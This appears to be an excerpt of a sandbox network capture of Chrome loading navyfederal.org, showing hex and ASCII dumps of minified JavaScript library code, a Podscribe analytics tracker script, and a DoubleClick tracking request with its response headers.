2024-05-24 22:45:58 UTC	1379	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 74 68 69 73 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 69 66 28 21 74 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 6e 28 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 74 79 70 65 6f 66 20 74 2b 22 20 22 2b 74 2b 22 20 69 73 20 6e 6f 74 20 69 74 65 72 61 62 6c 65 28 63 61 6e 6e 6f 74 20 72 65 61 64 20 70 72 6f 70 65 72 74 79 20 53 79 6d 62 6f 6c 28 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 29 29 22 29 29 3b 76 61 72 20 72 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 29 3b 69 66 28 30 3d 3d 3d 72 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 65 28 5b 5d 29 3b 76 61 72 20 69 3d 72 2e 6c 65 6e 67 74 68 3b 66 75 Data Ascii: function(t){return new this((function(e,n){if(!t\|\|void 0===t.length)return n(new TypeError(typeof t+" "+t+" is not iterable(cannot read property Symbol(Symbol.iterator))"));var r=Array.prototype.slice.call(t);if(0===r.length)return e([]);var i=r.length;fu
2024-05-24 22:45:58 UTC	1379	IN	Data Raw: 64 28 74 29 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 29 72 65 74 75 72 6e 20 76 6f 69 64 20 70 28 28 72 3d 6e 2c 69 3d 65 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 61 70 70 6c 79 28 69 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2c 74 29 7d 74 2e 5f 73 74 61 74 65 3d 31 2c 74 2e 5f 76 61 6c 75 65 3d 65 2c 64 28 74 29 7d 63 61 74 63 68 28 65 29 7b 66 28 74 2c 65 29 7d 76 61 72 20 72 2c 69 7d 66 75 6e 63 74 69 6f 6e 20 66 28 74 2c 65 29 7b 74 2e 5f 73 74 61 74 65 3d 32 2c 74 2e 5f 76 61 6c 75 65 3d 65 2c 64 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 74 29 7b 32 3d 3d 3d 74 2e 5f 73 74 61 74 65 26 26 30 3d 3d 3d 74 2e 5f 64 65 66 65 72 72 65 64 73 2e 6c 65 6e 67 74 68 26 26 75 2e 5f 69 6d 6d 65 64 69 61 74 65 46 6e 28 28 66 75 6e Data Ascii: d(t);if("function"==typeof n)return void p((r=n,i=e,function(){r.apply(i,arguments)}),t)}t._state=1,t._value=e,d(t)}catch(e){f(t,e)}var r,i}function f(t,e){t._state=2,t._value=e,d(t)}function d(t){2===t._state&&0===t._deferreds.length&&u._immediateFn((fun
2024-05-24 22:45:58 UTC	1379	IN	Data Raw: 65 77 20 75 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 6e 28 74 29 7d 29 29 7d 2c 75 2e 72 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 75 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 69 66 28 21 61 28 74 29 29 72 65 74 75 72 6e 20 6e 28 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 50 72 6f 6d 69 73 65 2e 72 61 63 65 20 61 63 63 65 70 74 73 20 61 6e 20 61 72 72 61 79 22 29 29 3b 66 6f 72 28 76 61 72 20 72 3d 30 2c 69 3d 74 2e 6c 65 6e 67 74 68 3b 72 3c 69 3b 72 2b 2b 29 75 2e 72 65 73 6f 6c 76 65 28 74 5b 72 5d 29 2e 74 68 65 6e 28 65 2c 6e 29 7d 29 29 7d 2c 75 2e 5f 69 6d 6d 65 64 69 61 74 65 46 6e 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 73 65 74 49 6d 6d 65 64 69 61 74 65 26 26 66 75 6e 63 Data Ascii: ew u((function(e,n){n(t)}))},u.race=function(t){return new u((function(e,n){if(!a(t))return n(new TypeError("Promise.race accepts an array"));for(var r=0,i=t.length;r<i;r++)u.resolve(t[r]).then(e,n)}))},u._immediateFn="function"==typeof setImmediate&&func
2024-05-24 22:45:58 UTC	1379	IN	Data Raw: 3d 69 29 74 68 72 6f 77 20 6f 3b 72 65 74 75 72 6e 20 43 28 29 7d 66 6f 72 28 6e 2e 6d 65 74 68 6f 64 3d 69 2c 6e 2e 61 72 67 3d 6f 3b 3b 29 7b 76 61 72 20 61 3d 6e 2e 64 65 6c 65 67 61 74 65 3b 69 66 28 61 29 7b 76 61 72 20 63 3d 67 28 61 2c 6e 29 3b 69 66 28 63 29 7b 69 66 28 63 3d 3d 3d 6c 29 63 6f 6e 74 69 6e 75 65 3b 72 65 74 75 72 6e 20 63 7d 7d 69 66 28 22 6e 65 78 74 22 3d 3d 3d 6e 2e 6d 65 74 68 6f 64 29 6e 2e 73 65 6e 74 3d 6e 2e 5f 73 65 6e 74 3d 6e 2e 61 72 67 3b 65 6c 73 65 20 69 66 28 22 74 68 72 6f 77 22 3d 3d 3d 6e 2e 6d 65 74 68 6f 64 29 7b 69 66 28 22 73 75 73 70 65 6e 64 65 64 53 74 61 72 74 22 3d 3d 3d 72 29 74 68 72 6f 77 20 72 3d 22 63 6f 6d 70 6c 65 74 65 64 22 2c 6e 2e 61 72 67 3b 6e 2e 64 69 73 70 61 74 63 68 45 78 63 65 70 74 69 Data Ascii: =i)throw o;return C()}for(n.method=i,n.arg=o;;){var a=n.delegate;if(a){var c=g(a,n);if(c){if(c===l)continue;return c}}if("next"===n.method)n.sent=n._sent=n.arg;else if("throw"===n.method){if("suspendedStart"===r)throw r="completed",n.arg;n.dispatchExcepti
2024-05-24 22:45:58 UTC	1379	IN	Data Raw: 2c 61 29 7d 29 29 7d 72 65 74 75 72 6e 20 72 3d 72 3f 72 2e 74 68 65 6e 28 61 2c 61 29 3a 61 28 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 67 28 74 2c 65 29 7b 76 61 72 20 6e 3d 74 2e 69 74 65 72 61 74 6f 72 5b 65 2e 6d 65 74 68 6f 64 5d 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 6e 29 7b 69 66 28 65 2e 64 65 6c 65 67 61 74 65 3d 6e 75 6c 6c 2c 22 74 68 72 6f 77 22 3d 3d 3d 65 2e 6d 65 74 68 6f 64 29 7b 69 66 28 74 2e 69 74 65 72 61 74 6f 72 2e 72 65 74 75 72 6e 26 26 28 65 2e 6d 65 74 68 6f 64 3d 22 72 65 74 75 72 6e 22 2c 65 2e 61 72 67 3d 76 6f 69 64 20 30 2c 67 28 74 2c 65 29 2c 22 74 68 72 6f 77 22 3d 3d 3d 65 2e 6d 65 74 68 6f 64 29 29 72 65 74 75 72 6e 20 6c 3b 65 2e 6d 65 74 68 6f 64 3d 22 74 68 72 6f 77 22 2c 65 2e 61 72 67 3d 6e 65 77 20 54 79 70 65 45 72 Data Ascii: ,a)}))}return r=r?r.then(a,a):a()}}function g(t,e){var n=t.iterator[e.method];if(void 0===n){if(e.delegate=null,"throw"===e.method){if(t.iterator.return&&(e.method="return",e.arg=void 0,g(t,e),"throw"===e.method))return l;e.method="throw",e.arg=new TypeEr
2024-05-24 22:45:58 UTC	1379	IN	Data Raw: 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 72 65 74 75 72 6e 21 21 65 26 26 28 65 3d 3d 3d 64 7c 7c 22 47 65 6e 65 72 61 74 6f 72 46 75 6e 63 74 69 6f 6e 22 3d 3d 3d 28 65 2e 64 69 73 70 6c 61 79 4e 61 6d 65 7c 7c 65 2e 6e 61 6d 65 29 29 7d 2c 74 2e 6d 61 72 6b 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 2c 68 29 3a 28 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 68 2c 63 28 74 2c 61 2c 22 47 65 6e 65 72 61 74 6f 72 46 75 6e 63 74 69 6f 6e 22 29 29 2c 74 2e 70 72 6f 74 6f 74 79 70 65 3d Data Ascii: ion=function(t){var e="function"==typeof t&&t.constructor;return!!e&&(e===d\|\|"GeneratorFunction"===(e.displayName\|\|e.name))},t.mark=function(t){return Object.setPrototypeOf?Object.setPrototypeOf(t,h):(t.__proto__=h,c(t,a,"GeneratorFunction")),t.prototype=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49861	35.244.142.80	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:59 UTC	525	OUT	GET /ping.min.js HTTP/1.1 Host: cdn.pdst.fm Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:45:59 UTC	835	IN	HTTP/1.1 200 OK x-goog-generation: 1715697347359123 x-goog-metageneration: 1 x-goog-stored-content-encoding: identity x-goog-stored-content-length: 17985 x-goog-hash: crc32c=Q65p8w== x-goog-hash: md5=18rFImQSQcpOnOrE8bRY6A== x-goog-storage-class: STANDARD Accept-Ranges: bytes Content-Length: 17985 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Type X-GUploader-UploadID: ABPtcPqgJM9rVkPFCQ0DB0CgcJkTBCmIuwyJdzPmslwrTLqQeKbxOJ2uFihEavc0Ts-jZeYSvPQAfMCnnQ Server: UploadServer Date: Fri, 24 May 2024 22:36:04 GMT Expires: Fri, 24 May 2024 23:36:04 GMT Cache-Control: public, max-age=3600 Age: 595 Last-Modified: Tue, 14 May 2024 14:35:47 GMT ETag: "d7cac522641241ca4e9ceac4f1b458e8" Content-Type: text/javascript Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:45:59 UTC	555	IN	Data Raw: 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 7b 32 32 38 3a 74 3d 3e 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 65 3d 22 7e 22 3b 66 75 6e 63 74 69 6f 6e 20 72 28 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 74 2c 6e 2c 65 29 7b 74 68 69 73 2e 66 6e 3d 74 2c 74 68 69 73 2e 63 6f 6e 74 65 78 74 3d 6e 2c 74 68 69 73 2e 6f 6e 63 65 3d 65 7c 7c 21 31 7d 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 6e 2c 72 2c 69 2c 63 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 72 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 6c 69 73 74 65 6e 65 72 20 6d 75 73 74 20 62 65 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 76 61 72 Data Ascii: (()=>{"use strict";var t={228:t=>{var n=Object.prototype.hasOwnProperty,e="~";function r(){}function o(t,n,e){this.fn=t,this.context=n,this.once=e\|\|!1}function i(t,n,r,i,c){if("function"!=typeof r)throw new TypeError("The listener must be a function");var
2024-05-24 22:45:59 UTC	1390	IN	Data Raw: 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 6e 75 6c 6c 29 2c 28 6e 65 77 20 72 29 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 28 65 3d 21 31 29 29 2c 75 2e 70 72 6f 74 6f 74 79 70 65 2e 65 76 65 6e 74 4e 61 6d 65 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 2c 72 2c 6f 3d 5b 5d 3b 69 66 28 30 3d 3d 3d 74 68 69 73 2e 5f 65 76 65 6e 74 73 43 6f 75 6e 74 29 72 65 74 75 72 6e 20 6f 3b 66 6f 72 28 72 20 69 6e 20 74 3d 74 68 69 73 2e 5f 65 76 65 6e 74 73 29 6e 2e 63 61 6c 6c 28 74 2c 72 29 26 26 6f 2e 70 75 73 68 28 65 3f 72 2e 73 6c 69 63 65 28 31 29 3a 72 29 3b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 3f 6f 2e 63 6f 6e 63 61 74 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 Data Ascii: ype=Object.create(null),(new r).__proto__\|\|(e=!1)),u.prototype.eventNames=function(){var t,r,o=[];if(0===this._eventsCount)return o;for(r in t=this._events)n.call(t,r)&&o.push(e?r.slice(1):r);return Object.getOwnPropertySymbols?o.concat(Object.getOwnPrope
2024-05-24 22:45:59 UTC	1390	IN	Data Raw: 6c 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6c 5d 3b 66 5b 73 5d 2e 66 6e 2e 61 70 70 6c 79 28 66 5b 73 5d 2e 63 6f 6e 74 65 78 74 2c 61 29 7d 7d 72 65 74 75 72 6e 21 30 7d 2c 75 2e 70 72 6f 74 6f 74 79 70 65 2e 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 29 7b 72 65 74 75 72 6e 20 69 28 74 68 69 73 2c 74 2c 6e 2c 65 2c 21 31 29 7d 2c 75 2e 70 72 6f 74 6f 74 79 70 65 2e 6f 6e 63 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 29 7b 72 65 74 75 72 6e 20 69 28 74 68 69 73 2c 74 2c 6e 2c 65 2c 21 30 29 7d 2c 75 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 6d 6f 76 65 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 2c 6f 29 7b 76 61 72 20 69 3d 65 3f 65 2b 74 3a 74 3b 69 66 28 21 74 68 69 73 2e 5f 65 76 65 6e 74 73 5b 69 5d 29 72 65 74 Data Ascii: l-1]=arguments[l];f[s].fn.apply(f[s].context,a)}}return!0},u.prototype.on=function(t,n,e){return i(this,t,n,e,!1)},u.prototype.once=function(t,n,e){return i(this,t,n,e,!0)},u.prototype.removeListener=function(t,n,r,o){var i=e?e+t:t;if(!this._events[i])ret
2024-05-24 22:45:59 UTC	1390	IN	Data Raw: 67 28 31 36 29 2e 73 6c 69 63 65 28 31 29 29 3b 66 75 6e 63 74 69 6f 6e 20 75 28 74 2c 6e 3d 30 29 7b 72 65 74 75 72 6e 20 63 5b 74 5b 6e 2b 30 5d 5d 2b 63 5b 74 5b 6e 2b 31 5d 5d 2b 63 5b 74 5b 6e 2b 32 5d 5d 2b 63 5b 74 5b 6e 2b 33 5d 5d 2b 22 2d 22 2b 63 5b 74 5b 6e 2b 34 5d 5d 2b 63 5b 74 5b 6e 2b 35 5d 5d 2b 22 2d 22 2b 63 5b 74 5b 6e 2b 36 5d 5d 2b 63 5b 74 5b 6e 2b 37 5d 5d 2b 22 2d 22 2b 63 5b 74 5b 6e 2b 38 5d 5d 2b 63 5b 74 5b 6e 2b 39 5d 5d 2b 22 2d 22 2b 63 5b 74 5b 6e 2b 31 30 5d 5d 2b 63 5b 74 5b 6e 2b 31 31 5d 5d 2b 63 5b 74 5b 6e 2b 31 32 5d 5d 2b 63 5b 74 5b 6e 2b 31 33 5d 5d 2b 63 5b 74 5b 6e 2b 31 34 5d 5d 2b 63 5b 74 5b 6e 2b 31 35 5d 5d 7d 63 6f 6e 73 74 20 61 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 69 66 28 6e 2e 72 61 6e Data Ascii: g(16).slice(1));function u(t,n=0){return c[t[n+0]]+c[t[n+1]]+c[t[n+2]]+c[t[n+3]]+"-"+c[t[n+4]]+c[t[n+5]]+"-"+c[t[n+6]]+c[t[n+7]]+"-"+c[t[n+8]]+c[t[n+9]]+"-"+c[t[n+10]]+c[t[n+11]]+c[t[n+12]]+c[t[n+13]]+c[t[n+14]]+c[t[n+15]]}const a=function(t,e,r){if(n.ran
2024-05-24 22:45:59 UTC	1390	IN	Data Raw: 62 65 6c 3a 6e 75 6c 6c 21 3d 3d 74 68 69 73 2e 6c 61 62 65 6c 3f 74 68 69 73 2e 6c 61 62 65 6c 3a 5f 28 22 6c 61 62 65 6c 22 29 2c 65 78 70 65 72 69 6d 65 6e 74 3a 6e 75 6c 6c 21 3d 3d 74 68 69 73 2e 65 78 70 65 72 69 6d 65 6e 74 3f 74 68 69 73 2e 65 78 70 65 72 69 6d 65 6e 74 3a 5f 28 22 65 78 70 65 72 69 6d 65 6e 74 22 29 2c 62 6f 64 79 3a 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 68 69 73 2e 66 69 65 6c 64 73 29 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 29 7b 72 65 74 75 72 6e 20 6e 5b 65 5d 3d 74 2e 66 69 65 6c 64 73 5b 65 5d 28 74 5b 65 5d 29 2c 6e 7d 29 2c 7b 7d 29 7d 7d 2c 74 7d 28 29 2c 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 22 73 74 72 69 6e 67 22 3d 3d Data Ascii: bel:null!==this.label?this.label:_("label"),experiment:null!==this.experiment?this.experiment:_("experiment"),body:Object.keys(this.fields).reduce((function(n,e){return n[e]=t.fields[e](t[e]),n}),{})}},t}(),g=function(){return function(t){return"string"==
2024-05-24 22:45:59 UTC	1390	IN	Data Raw: 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6b 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 6e 2c 65 3d 31 2c 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 3c 72 3b 65 2b 2b 29 66 6f 72 28 76 61 72 20 6f 20 69 6e 20 6e 3d 61 72 67 75 6d 65 6e 74 73 5b 65 5d 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 6f 29 26 26 28 74 5b 6f 5d 3d 6e 5b 6f 5d 29 3b 72 65 74 75 72 6e 20 74 7d 2c 6b 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 3b 63 6f 6e 73 74 20 45 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 6e 29 7b 76 61 72 20 65 3d 74 2e 63 61 6c 6c 28 74 68 69 73 29 7c 7c Data Ascii: ion(){return k=Object.assign\|\|function(t){for(var n,e=1,r=arguments.length;e<r;e++)for(var o in n=arguments[e])Object.prototype.hasOwnProperty.call(n,o)&&(t[o]=n[o]);return t},k.apply(this,arguments)};const E=function(t){function n(n){var e=t.call(this)\|\|
2024-05-24 22:45:59 UTC	1390	IN	Data Raw: 5f 5f 70 64 73 74 22 3a 22 5f 5f 73 70 64 74 22 2c 4c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 44 28 55 29 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 66 28 29 2c 49 28 55 2c 74 2c 5f 28 22 6c 69 66 65 74 69 6d 65 22 29 29 2c 74 3d 44 28 55 29 29 2c 74 7c 7c 22 30 22 7d 2c 71 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 22 30 22 3b 69 66 28 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 29 7b 76 61 72 20 6e 3d 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 55 29 3b 6e 7c 7c 28 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 55 2c 66 28 29 29 2c 6e 3d 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 55 29 29 2c 74 3d 6e 7c 7c 22 30 22 7d 72 65 74 75 72 6e 20 Data Ascii: __pdst":"__spdt",L=function(){var t=D(U);return t\|\|(t=f(),I(U,t,_("lifetime")),t=D(U)),t\|\|"0"},q=function(){var t="0";if(window.sessionStorage){var n=sessionStorage.getItem(U);n\|\|(sessionStorage.setItem(U,f()),n=sessionStorage.getItem(U)),t=n\|\|"0"}return
2024-05-24 22:45:59 UTC	1390	IN	Data Raw: 28 72 29 26 26 6e 2e 70 75 73 68 28 72 29 7d 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 72 65 6d 6f 76 65 49 74 65 6d 28 74 29 7d 29 29 2c 4e 3d 7b 7d 7d 28 29 2c 30 3d 3d 3d 6e 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 52 2e 70 61 67 65 3b 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 70 69 64 3d 3d 3d 65 26 26 28 4a 3d 4a 2e 63 6f 6e 63 61 74 28 74 2e 65 76 65 6e 74 73 29 29 7d 29 29 3b 76 61 72 20 72 3d 6e 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 64 28 29 3f 7b 70 69 78 65 6c 5f 69 64 3a 5f 28 22 6b 65 79 22 29 7d 3a 7b 6b 65 79 3a 5f 28 22 6b 65 79 22 29 7d 3b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e Data Ascii: (r)&&n.push(r)}n.forEach((function(t){localStorage.removeItem(t)})),N={}}(),0===n.length)return!1;var e=R.page;n.forEach((function(t){t.pid===e&&(J=J.concat(t.events))}));var r=n.map((function(t){var n=d()?{pixel_id:_("key")}:{key:_("key")};return Object.
2024-05-24 22:45:59 UTC	1390	IN	Data Raw: 61 73 22 2c 64 28 29 3f 28 6e 2e 61 6c 69 61 73 5f 69 64 3d 6e 2e 69 64 2c 6e 2e 75 73 65 72 5f 68 61 73 68 65 64 5f 65 6d 61 69 6c 3d 6e 2e 65 6d 61 69 6c 2c 65 2e 66 69 65 6c 64 73 3d 7b 61 6c 69 61 73 5f 69 64 3a 67 28 29 2c 75 73 65 72 5f 68 61 73 68 65 64 5f 65 6d 61 69 6c 3a 67 28 29 7d 29 3a 65 2e 66 69 65 6c 64 73 3d 7b 69 64 3a 67 28 29 2c 65 6d 61 69 6c 3a 67 28 29 7d 2c 65 2e 75 70 64 61 74 65 28 6e 29 2c 65 7d 72 65 74 75 72 6e 20 57 28 6e 2c 74 29 2c 6e 7d 28 50 29 3b 76 61 72 20 4d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 29 7b 72 65 74 75 72 6e 20 74 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 5b 5d 7d 69 6e 73 74 61 6e 63 65 6f 66 Data Ascii: as",d()?(n.alias_id=n.id,n.user_hashed_email=n.email,e.fields={alias_id:g(),user_hashed_email:g()}):e.fields={id:g(),email:g()},e.update(n),e}return W(n,t),n}(P);var M=function(){var t=function(n,e){return t=Object.setPrototypeOf\|\|{__proto__:[]}instanceof
2024-05-24 22:45:59 UTC	1390	IN	Data Raw: 29 7c 7c 74 68 69 73 3b 72 65 74 75 72 6e 20 65 2e 61 63 74 69 6f 6e 3d 22 61 64 64 74 6f 63 61 72 74 22 2c 65 2e 66 69 65 6c 64 73 3d 7b 76 61 6c 75 65 3a 62 28 29 2c 71 75 61 6e 74 69 74 79 3a 4f 28 29 2c 63 75 72 72 65 6e 63 79 3a 67 28 29 2c 70 72 6f 64 75 63 74 5f 69 64 3a 67 28 29 2c 70 72 6f 64 75 63 74 5f 6e 61 6d 65 3a 67 28 29 2c 70 72 6f 64 75 63 74 5f 74 79 70 65 3a 67 28 29 2c 70 72 6f 64 75 63 74 5f 76 65 6e 64 6f 72 3a 67 28 29 2c 76 61 72 69 61 6e 74 5f 69 64 3a 67 28 29 2c 76 61 72 69 61 6e 74 5f 6e 61 6d 65 3a 67 28 29 7d 2c 65 2e 75 70 64 61 74 65 28 6e 29 2c 65 7d 72 65 74 75 72 6e 20 47 28 6e 2c 74 29 2c 6e 7d 28 50 29 3b 76 61 72 20 51 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 29 7b 72 Data Ascii: )\|\|this;return e.action="addtocart",e.fields={value:b(),quantity:O(),currency:g(),product_id:g(),product_name:g(),product_type:g(),product_vendor:g(),variant_id:g(),variant_name:g()},e.update(n),e}return G(n,t),n}(P);var Q=function(){var t=function(n,e){r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49862	142.250.185.166	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:59 UTC	1228	OUT	GET /activityi;dc_pre=CPmT-vKup4YDFd50QQIdxWULrA;src=9749892;type=gener0;cat=nfcu_0;ord=8505920471743;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=843276876;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1 Host: 9749892.fls.doubleclick.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-05-24 22:45:59 UTC	984	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:45:59 GMT Expires: Fri, 24 May 2024 22:45:59 GMT Cache-Control: private, max-age=0 Strict-Transport-Security: max-age=21600 Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Set-Cookie: IDE=AHWqTUnlUhvdgzTfGFaagIdXpVTk2rsMHclS3a78KBF_JH5EMjaz13u7tXLxYkKT7-8; expires=Sun, 24-May-2026 22:45:59 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Set-Cookie: test_cookie=; expires=Fri, 01-Aug-2008 22:45:55 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
